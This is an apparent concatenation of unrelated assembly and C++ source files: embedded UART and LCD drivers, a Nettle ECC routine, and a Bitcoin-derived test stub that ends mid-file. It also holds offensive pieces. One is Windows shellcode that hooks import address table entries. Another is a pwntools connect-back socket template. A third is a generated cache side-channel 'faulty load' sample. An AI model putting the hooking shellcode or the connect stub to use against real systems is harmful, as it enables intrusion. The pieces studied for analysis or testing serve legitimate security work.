LD (SERCNT),A
CP BUFEMP
JP NC,RTS1
LD A,RTSLOW
OUT (UARTRC),A
RTS1: LD A,(HL)
EI
POP HL
RET
;------------------------------------------------------------------------------
; 1文字出力
;------------------------------------------------------------------------------
COUT: PUSH AF
COUT1: IN A,(UARTRC)
AND 02H
JP Z,COUT1
POP AF
OUT (UARTRD),A
RET
;------------------------------------------------------------------------------
; 入力バッファチェック
;------------------------------------------------------------------------------
CKINCHAR LD A,(SERCNT)
CP 00H
RET
;------------------------------------------------------------------------------
; 初期化
;------------------------------------------------------------------------------
INIT:
LD SP,STACK
LD HL,SERBUF
LD (SERINP),HL
LD (SERRDP),HL
XOR A
LD (SERCNT),A
;
LD A,96h
OUT (UARTRC),A
;
IM 1
EI
;
JP MAIN
;
; RAM 8000h〜
;
ORG 8000h
;
SERBUF DS BUFSIZ
SERINP DS 2
SERRDP DS 2
SERCNT DS 1
;
DEVICE_RAM_END EQU $
|
;-----------------------------------------------------------------------------;
; Author: Ege Balcı <ege.balci[at]invictuseurope[dot]com>
; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4
; Version: 1.0 (25 January 2018)
; Size: 172 bytes
;-----------------------------------------------------------------------------;
; This block hooks the API functions by locating the addresses of API functions from import address table with given ror(13) hash value.
; Design is inpired from Stephen Fewer's hash api.
[BITS 32]
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
%define ROTATION 0x0D ; Rotation value for ROR hash
set_essentials:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx,[fs:eax+0x30] ; Get a pointer to the PEB
mov edx,[edx+0x0C] ; Get PEB->Ldr
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
mov edx,[edx+0x10] ; Get this modules base address
push edx ; Save the image base to stack (will use this alot)
add edx,[edx+0x3C] ; "PE" Header
mov edx,[edx+0x80] ; Import table RVA
add edx,[esp] ; Address of Import Table
push edx ; Save the &IT to stack (will use this alot)
mov esi,[esp+0x04] ; Move image base to ESI
sub esp,0x08 ; Allocate space for import desriptor & hash
sub edx,0x14 ; Prepare the import descriptor pointer for processing
next_desc:
add edx,0x14 ; Get the next import descriptor
cmp dword [edx],0x00 ; Check if import descriptor valid
jz not_found ; If import name array RVA is zero finish parsing
mov si,[edx+0x0C] ; Get pointer to module name string RVA
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi,ROTATION ; Rotate right our hash value
add edi,eax ; Add the next byte of the name
ror edi,ROTATION ; In order to calculate the same hash values as Stephen Fewer's hash API we need to rotate one more and add a null byte.
test al,al ; Check if we read all
jnz loop_modname
; We now have the module hash computed
mov [esp+4],edx ; Save the current position in the module list for later
mov [esp],edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov ecx,[edx] ; Get the RVA of import names table
add ecx,[esp+0x0C] ; Add image base and get address of import names table
sub ecx,0x04 ; Go 4 byte back
get_next_func:
; use ecx as our EAT pointer here so we can take advantage of jecxz.
add ecx,0x04 ; 4 byte forward
cmp dword [ecx],0x00 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,[ecx] ; Get the RVA of func name hint
cmp esi,0x80000000 ; Check if the high order bit is set
jns get_next_func ; If not there is no function name string :(
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
add dword esi,0x02 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
xor edi,edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
ror edi,ROTATION ; Rotate right our hash value
add edi,eax ; Add the next byte of the name
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi,[esp] ; Add the current module hash to the function hash
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, replace the function address and then value else compute the next one...
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
mov edx,[edx] ; Get the import names table RVA of current import descriptor
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
sub ecx,edx ; Find the function array index ?
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
add eax,ecx ; Add the function index
; Now we clean the stack
push eax ; Save the function address to stack
cld ; Clear direction flags
call unprotect ; Get the address of block_api to stack
_api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx, [fs:eax+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
_next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
_loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl _not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
_not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop _loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov ecx, [edx+60] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
jecxz _get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+24] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
_get_next_func: ;
jecxz _get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
_loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne _loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searching for
jnz _get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
_finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
_get_next_mod: ;
pop edi ; Pop off the current (now the previous) modules EAT
_get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp _short next_mod ; Process this module
unprotect:
pop ebp ; Pop the address of block_api to EBP
push eax ; Allocate space for lpflOldProtect
push esp ; lpflOldProtect
push 0x00000004 ; flNewProtect (PAGE_READWRITE)
push 0x00000008 ; dwSize
push eax ; lpAddress (IAT entry address)
push 0xC38AE110 ; hash( "KERNEL32.dll", "VirtualProtect" )
call ebp ; VirtualProtect(&IAT,8,PAGE_READWRITE,&STACK)
pop eax ; Deallocate lpflOldProtect
pop eax ; Pop back the function address to be hooked
finish:
mov esi,[esp+0x38] ; Get the hooker fucntion address ;D
mov [eax],esi ; Replace the IAT entry with hooker
add esp,0x10 ; Deallocate saved module hash, import descriptor address, import table address
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
pop edx ; Pop off the hooker function address
push ecx ; Push back the correct return value
ret ; Return
not_found:
add esp,0x08 ; Fix the stack
popad ; Restore all registers
ret ; Return
; (API is not found)
|
<% from pwnlib.shellcraft.i386 import pushstr %>
<% from pwnlib.shellcraft.i386.linux import socket, socketcall %>
<% from pwnlib.constants import SYS_socketcall_connect %>
<% from pwnlib.util.net import sockaddr %>
<%page args="host, port, network = 'ipv4'"/>
<%docstring>
Connects to the host on the specified port.
Leaves the connected socket in edx
Arguments:
host(str): Remote IP address or hostname (as a dotted quad / string)
port(int): Remote port
network(str): Network protocol (ipv4 or ipv6)
Examples:
>>> l = listen(timeout=5)
>>> assembly = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
b'Hello'
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly = shellcraft.i386.linux.connect('::1', l.lport, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
</%docstring>
<%
sockaddr, length, address_family = sockaddr(host, port, network)
%>\
/* open new socket, save it */
${socket(network)}
mov edx, eax
/* push sockaddr, connect() */
${pushstr(sockaddr, False)}
mov ecx, esp
${socketcall(SYS_socketcall_connect, 'edx', 'ecx', length)}
/* Socket that is maybe connected is in edx */
|
#include p18f87k22.inc
global LCD_Setup, LCD_Write_Message, LCD_Clear_Screen, LCD_delay_ms, LCD_Second_Line, LCD_Write_Message_new, LCD_Send_Byte_D, LCD_delay_x4us
global LCD_Write_Hex
acs0 udata_acs ; named variables in access ram
LCD_cnt_l res 1 ; reserve 1 byte for variable LCD_cnt_l
LCD_cnt_h res 1 ; reserve 1 byte for variable LCD_cnt_h
LCD_cnt_ms res 1 ; reserve 1 byte for ms counter
LCD_tmp res 1 ; reserve 1 byte for temporary use
LCD_counter res 1 ; reserve 1 byte for counting through message
LCD_counter1 res 1
acs_ovr access_ovr
LCD_hex_tmp res 1 ; reserve 1 byte for variable LCD_hex_tmp
constant LCD_E=5 ; LCD enable bit
constant LCD_RS=4 ; LCD register select bit
LCD code
LCD_Setup
clrf LATB
movlw b'11000000' ; RB0:5 all outputs
movwf TRISB
movlw .40
call LCD_delay_ms ; wait 40ms for LCD to start up properly
movlw b'00110000' ; Function set 4-bit
call LCD_Send_Byte_I
movlw .10 ; wait 40us
call LCD_delay_x4us
movlw b'00101000' ; 2 line display 5x8 dot characters
call LCD_Send_Byte_I
movlw .10 ; wait 40us
call LCD_delay_x4us
movlw b'00101000' ; repeat, 2 line display 5x8 dot characters
call LCD_Send_Byte_I
movlw .10 ; wait 40us
call LCD_delay_x4us
movlw b'00001111' ; display on, cursor on, blinking on
call LCD_Send_Byte_I
movlw .10 ; wait 40us
call LCD_delay_x4us
movlw b'00000001' ; display clear
call LCD_Send_Byte_I
movlw .2 ; wait 2ms
call LCD_delay_ms
movlw b'00000110' ; entry mode incr by 1 no shift
call LCD_Send_Byte_I
movlw .10 ; wait 40us
call LCD_delay_x4us
return
LCD_Write_Hex ; Writes byte stored in W as hex
movwf LCD_hex_tmp
swapf LCD_hex_tmp,W ; high nibble first
call LCD_Hex_Nib
movf LCD_hex_tmp,W ; then low nibble
LCD_Hex_Nib ; writes low nibble as hex character
andlw 0x0F
movwf LCD_tmp
movlw 0x0A
cpfslt LCD_tmp
addlw 0x07 ; number is greater than 9
addlw 0x26
addwf LCD_tmp,W
call LCD_Send_Byte_D ; write out ascii
return
LCD_Write_Message ; Message stored at FSR2, length stored in W
movwf LCD_counter
LCD_Loop_message
movf POSTINC2, W
call LCD_Send_Byte_D
decfsz LCD_counter
bra LCD_Loop_message
return
LCD_Write_Message_new ; Message stored at FSR2, length stored in W
movwf LCD_counter ;set length of message
movlw 0x10
movwf LCD_counter1 ;set length of screen to .16
LCD_Loop_message_new
movf POSTINC2, W
call LCD_Send_Byte_D ;write character on screen
decfsz LCD_counter1 ;check if 16 characters written
bra LCD_second_new ;if not branch to LCD_Second
call LCD_Second_Line ;move onto second line of display
movlw 0x10 ;reset counter
movwf LCD_counter1
LCD_second_new
decfsz LCD_counter ;decrease length of message counter and check if there is message left
bra LCD_Loop_message_new
return
LCD_Send_Byte_I ; Transmits byte stored in W to instruction reg
movwf LCD_tmp
swapf LCD_tmp,W ; swap nibbles, high nibble goes first
andlw 0x0f ; select just low nibble
movwf LATB ; output data bits to LCD
bcf LATB, LCD_RS ; Instruction write clear RS bit
call LCD_Enable ; Pulse enable Bit
movf LCD_tmp,W ; swap nibbles, now do low nibble
andlw 0x0f ; select just low nibble
movwf LATB ; output data bits to LCD
bcf LATB, LCD_RS ; Instruction write clear RS bit
call LCD_Enable ; Pulse enable Bit
return
LCD_Send_Byte_D ; Transmits byte stored in W to data reg
movwf LCD_tmp
swapf LCD_tmp,W ; swap nibbles, high nibble goes first
andlw 0x0f ; select just low nibble
movwf LATB ; output data bits to LCD
bsf LATB, LCD_RS ; Data write set RS bit
call LCD_Enable ; Pulse enable Bit
movf LCD_tmp,W ; swap nibbles, now do low nibble
andlw 0x0f ; select just low nibble
movwf LATB ; output data bits to LCD
bsf LATB, LCD_RS ; Data write set RS bit
call LCD_Enable ; Pulse enable Bit
movlw .10 ; delay 40us
call LCD_delay_x4us
return
LCD_Enable ; pulse enable bit LCD_E for 500ns
nop
nop
nop
nop
nop
nop
nop
nop
bsf LATB, LCD_E ; Take enable high
nop
nop
nop
nop
nop
nop
nop
bcf LATB, LCD_E ; Writes data to LCD
return
; ** a few delay routines below here as LCD timing can be quite critical ****
LCD_delay_ms ; delay given in ms in W
movwf LCD_cnt_ms
lcdlp2 movlw .250 ; 1 ms delay
call LCD_delay_x4us
decfsz LCD_cnt_ms
bra lcdlp2
return
LCD_delay_x4us ; delay given in chunks of 4 microsecond in W
movwf LCD_cnt_l ; now need to multiply by 16
swapf LCD_cnt_l,F ; swap nibbles
movlw 0x0f
andwf LCD_cnt_l,W ; move low nibble to W
movwf LCD_cnt_h ; then to LCD_cnt_h
movlw 0xf0
andwf LCD_cnt_l,F ; keep high nibble in LCD_cnt_l
call LCD_delay
return
LCD_delay ; delay routine 4 instruction loop == 250ns
movlw 0x00 ; W=0
lcdlp1 decf LCD_cnt_l,F ; no carry when 0x00 -> 0xff
subwfb LCD_cnt_h,F ; no carry when 0x00 -> 0xff
bc lcdlp1 ; carry, then loop again
return ; carry reset so return
LCD_Clear_Screen
movlw b'00000001' ; display clear
call LCD_Send_Byte_I
movlw .2 ; wait 2ms
call LCD_delay_ms
return
LCD_Second_Line
movlw b'0011000000' ;move to secod lime?
call LCD_Send_Byte_I
movlw .10 ; wait 40us
call LCD_delay_x4us
return
end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xaf57, %rax
nop
nop
nop
add $40453, %rdi
vmovups (%rax), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r14
nop
nop
nop
sub $47115, %r15
lea addresses_WC_ht+0x14727, %rsi
lea addresses_WC_ht+0x2457, %rdi
nop
nop
nop
sub %rbx, %rbx
mov $49, %rcx
rep movsb
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_WT_ht+0x7aa7, %rdi
nop
cmp %rcx, %rcx
movw $0x6162, (%rdi)
nop
nop
nop
dec %rax
lea addresses_normal_ht+0x17fdb, %rsi
lea addresses_WT_ht+0x8459, %rdi
nop
nop
cmp %r11, %r11
mov $33, %rcx
rep movsl
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x457, %rsi
lea addresses_WT_ht+0x3457, %rdi
nop
xor %rbx, %rbx
mov $113, %rcx
rep movsw
sub %r14, %r14
lea addresses_normal_ht+0x7c57, %rsi
lea addresses_normal_ht+0x17457, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $23774, %r14
mov $53, %rcx
rep movsw
nop
xor $53451, %rbx
lea addresses_UC_ht+0xb457, %rcx
nop
nop
dec %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm7
movups %xmm7, (%rcx)
nop
nop
and $44099, %rcx
lea addresses_WC_ht+0x11e57, %rbx
nop
add $30670, %rsi
movb (%rbx), %r14b
sub $16669, %rbx
lea addresses_A_ht+0x1df57, %rsi
lea addresses_WT_ht+0x16b7, %rdi
nop
nop
nop
nop
cmp $6651, %r11
mov $11, %rcx
rep movsw
nop
and %rsi, %rsi
lea addresses_normal_ht+0xeb5f, %rax
nop
sub $36, %rsi
movb $0x61, (%rax)
nop
nop
add %r11, %r11
lea addresses_WT_ht+0x14a39, %rsi
lea addresses_WC_ht+0x129d7, %rdi
nop
nop
nop
nop
sub $21612, %rbx
mov $117, %rcx
rep movsw
nop
nop
nop
nop
and $24823, %rbx
lea addresses_WC_ht+0x1c093, %rsi
lea addresses_D_ht+0x7c17, %rdi
and %r14, %r14
mov $73, %rcx
rep movsb
nop
nop
nop
nop
nop
lfence
lea addresses_WC_ht+0xeab7, %rsi
lea addresses_WC_ht+0x1cd83, %rdi
nop
nop
add $49975, %rax
mov $83, %rcx
rep movsb
nop
nop
and %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r8
push %rcx
push %rsi
// Store
lea addresses_WC+0xa5e1, %r15
nop
nop
nop
cmp %rcx, %rcx
mov $0x5152535455565758, %r14
movq %r14, %xmm3
vmovups %ymm3, (%r15)
add $5698, %r11
// Store
lea addresses_WT+0x6057, %r11
nop
nop
nop
sub %r8, %r8
mov $0x5152535455565758, %r14
movq %r14, %xmm2
vmovups %ymm2, (%r11)
add $37075, %r8
// Load
lea addresses_US+0xe457, %rcx
nop
nop
nop
cmp $56641, %r11
movups (%rcx), %xmm5
vpextrq $1, %xmm5, %r14
nop
nop
nop
dec %r15
// Store
mov $0x3da4ec0000000397, %rsi
nop
nop
nop
dec %r12
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
cmp $18568, %r14
// Faulty Load
lea addresses_UC+0x8c57, %r8
nop
nop
nop
nop
xor %r14, %r14
vmovntdqa (%r8), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rsi
lea oracles, %r15
and $0xff, %rsi
shlq $12, %rsi
mov (%r15,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'48': 112, '44': 153, '00': 25, '45': 12, '49': 5, '46': 2}
48 44 44 44 44 00 44 48 44 44 44 44 48 48 00 44 48 44 48 44 48 44 48 48 44 48 44 44 44 44 44 48 44 44 44 44 44 45 48 44 44 48 44 44 48 44 44 48 48 44 48 44 00 48 48 48 48 44 44 48 49 48 44 44 44 00 44 44 48 44 48 44 44 48 44 48 48 48 48 44 45 44 48 44 44 44 44 44 48 44 44 48 48 44 44 48 44 44 48 44 44 44 00 00 44 44 45 49 44 48 48 44 44 48 44 44 48 48 48 48 48 44 44 44 44 00 44 44 48 48 44 48 48 48 44 44 44 44 44 48 48 48 44 44 48 44 48 44 48 44 48 00 48 00 46 44 45 49 44 48 45 44 44 44 44 00 44 44 48 48 00 44 45 46 00 45 45 49 45 48 00 44 00 45 48 44 48 44 48 44 44 44 44 44 00 48 44 44 44 48 48 44 48 48 48 44 44 44 48 44 44 48 48 44 44 48 44 44 48 48 44 44 48 44 48 44 44 44 00 48 48 48 48 44 48 45 48 48 48 44 48 44 44 44 48 44 48 48 48 44 44 48 48 48 48 44 48 44 44 48 44 44 44 44 44 44 00 00 00 00 00 00 48 44 00 48 44 44 44 44 49 44 48 48 48 44 48 48 48 48 44 44 48 48 48 00 44 44 45 48 44 44 44 48 44 00 44 44 48
*/
|
C arm/ecc-224-modp.asm
ifelse(<
Copyright (C) 2013 Niels Möller
This file is part of GNU Nettle.
GNU Nettle is free software: you can redistribute it and/or
modify it under the terms of either:
* the GNU Lesser General Public License as published by the Free
Software Foundation; either version 3 of the License, or (at your
option) any later version.
or
* the GNU General Public License as published by the Free
Software Foundation; either version 2 of the License, or (at your
option) any later version.
or both in parallel, as here.
GNU Nettle is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received copies of the GNU General Public License and
the GNU Lesser General Public License along with this program. If
not, see http://www.gnu.org/licenses/.
>)
.file "ecc-224-modp.asm"
.arm
define(<RP>, <r1>)
define(<H>, <r0>) C Overlaps unused modulo argument
define(<T0>, <r2>)
define(<T1>, <r3>)
define(<T2>, <r4>)
define(<T3>, <r5>)
define(<T4>, <r6>)
define(<T5>, <r7>)
define(<T6>, <r8>)
define(<N3>, <r10>)
define(<L0>, <r11>)
define(<L1>, <r12>)
define(<L2>, <lr>)
C ecc_224_modp (const struct ecc_modulo *m, mp_limb_t *rp)
.text
.align 2
PROLOGUE(nettle_ecc_224_modp)
push {r4,r5,r6,r7,r8,r10,r11,lr}
add L2, RP, #28
ldm L2, {T0,T1,T2,T3,T4,T5,T6}
mov H, #0
adds T0, T0, T4
adcs T1, T1, T5
adcs T2, T2, T6
adc H, H, #0
C This switch from adcs to sbcs takes carry into account with
C correct sign, but it always subtracts 1 too much. We arrange
C to also add B^7 + 1 below, so the effect is adding p. This
C addition of p also ensures that the result never is
C negative.
sbcs N3, T3, T0
sbcs T4, T4, T1
sbcs T5, T5, T2
sbcs T6, T6, H
mov H, #1 C This is the B^7
sbc H, #0
subs T6, T6, T3
sbc H, #0
C Now subtract from low half
ldm RP!, {L0,L1,L2}
C Clear carry, with the sbcs, this is the 1.
adds RP, #0
sbcs T0, L0, T0
sbcs T1, L1, T1
sbcs T2, L2, T2
ldm RP!, {T3,L0,L1,L2}
sbcs T3, T3, N3
sbcs T4, L0, T4
sbcs T5, L1, T5
sbcs T6, L2, T6
rsc H, H, #0
C Now -2 <= H <= 0 is the borrow, so subtract (B^3 - 1) |H|
C Use (B^3 - 1) H = <H, H, H> if -1 <=H <= 0, and
C (B^3 - 1) H = <1,B-1, B-1, B-2> if H = -2
subs T0, T0, H
asr L1, H, #1
sbcs T1, T1, L1
eor H, H, L1
sbcs T2, T2, L1
sbcs T3, T3, H
sbcs T4, T4, #0
sbcs T5, T5, #0
sbcs T6, T6, #0
sbcs H, H, H
C Final borrow, subtract (B^3 - 1) |H|
subs T0, T0, H
sbcs T1, T1, H
sbcs T2, T2, H
sbcs T3, T3, #0
sbcs T4, T4, #0
sbcs T5, T5, #0
sbcs T6, T6, #0
stmdb RP, {T0,T1,T2,T3,T4,T5,T6}
pop {r4,r5,r6,r7,r8,r10,r11,pc}
EPILOGUE(nettle_ecc_224_modp)
|
; void writeString (char * s);
; ----------------------------
; This function prints a null terminated string to the standard output.
section .code
global _writeString
_writeString:
push rbp
mov rbp, rsp
push rdi
push rsi
mov rsi, rdi
xor rax, rax
calcLen:
cmp byte [rsi], 0x0
jz doPrint
inc rax
inc rsi
jmp calcLen
doPrint:
mov rsi, rdi
mov rdi, 1
mov rdx, rax
mov rax, 1
syscall
ok:
pop rsi
pop rdi
pop rbp
ret
|
PUBLIC generic_console_caps
EXTERN CLIB_GENCON_CAPS
SECTION data_clib
generic_console_caps:
defb CLIB_GENCON_CAPS
|
// Copyright (c) 2014-2015 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// Copyright (c) 2014-2017 The Arion Core developers
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "chainparams.h"
#include "validation.h"
#include "net.h"
#include "test/test_arion.h"
#include <boost/signals2/signal.hpp>
#include <boost/test/unit_test.hpp>
BOOST_FIXTURE_TEST_SUITE(main_tests, TestingSetup)
static void TestBlockSubsidyHalvings(const Consensus::Params& consensusParams)
{
// tested in arion_tests.cpp
//int maxHalvings = 64;
//CAmount nInitialSubsidy = 50 * COIN;
//CAmount nPreviousSubsidy = nInitialSubsidy * 2; // for height == 0
//BOOST_CHECK_EQUAL(nPreviousSubsidy, nInitialSubsidy * 2);
//for (int nHalvings = 0; nHalvings < maxHalvings; nHalvings++) {
// int nHeight = nHalvings * consensusParams.nSubsidyHalvingInterval;
// CAmount nSubsidy = GetBlockSubsidy(0, nHeight, consensusParams);
// BOOST_CHECK(nSubsidy <= nInitialSubsidy);
// BOOST_CHECK_EQUAL(nSubsidy, nPreviousSubsidy / 2);
// nPreviousSubsidy = nSubsidy;
//}
//BOOST_CHECK_EQUAL(GetBlockSubsidy(0, maxHalvings * consensusParams.nSubsidyHalvingInterval, consensusParams), 0);
}
static void TestBlockSubsidyHalvings(int nSubsidyHalvingInterval)
{
// tested in arion_tests.cpp
//Consensus::Params consensusParams;
//consensusParams.nSubsidyHalvingInterval = nSubsidyHalvingInterval;
//TestBlockSubsidyHalvings(consensusParams);
}
BOOST_AUTO_TEST_CASE(block_subsidy_test)
{
// tested in arion_tests.cpp
//TestBlockSubsidyHalvings(Params(CBaseChainParams::MAIN).GetConsensus()); // As in main
//TestBlockSubsidyHalvings(150); // As in regtest
//TestBlockSubsidyHalvings(1000); // Just another interval
}
BOOST_AUTO_TEST_CASE(subsidy_limit_test)
{
// tested in arion_tests.cpp
//const Consensus::Params& consensusParams = Params(CBaseChainParams::MAIN).GetConsensus();
//CAmount nSum = 0;
//for (int nHeight = 0; nHeight < 14000000; nHeight += 1000) {
// /* @TODO fix subsidity, add nBits */
// CAmount nSubsidy = GetBlockSubsidy(0, nHeight, consensusParams);
// BOOST_CHECK(nSubsidy <= 25 * COIN);
// nSum += nSubsidy * 1000;
// BOOST_CHECK(MoneyRange(nSum));
//}
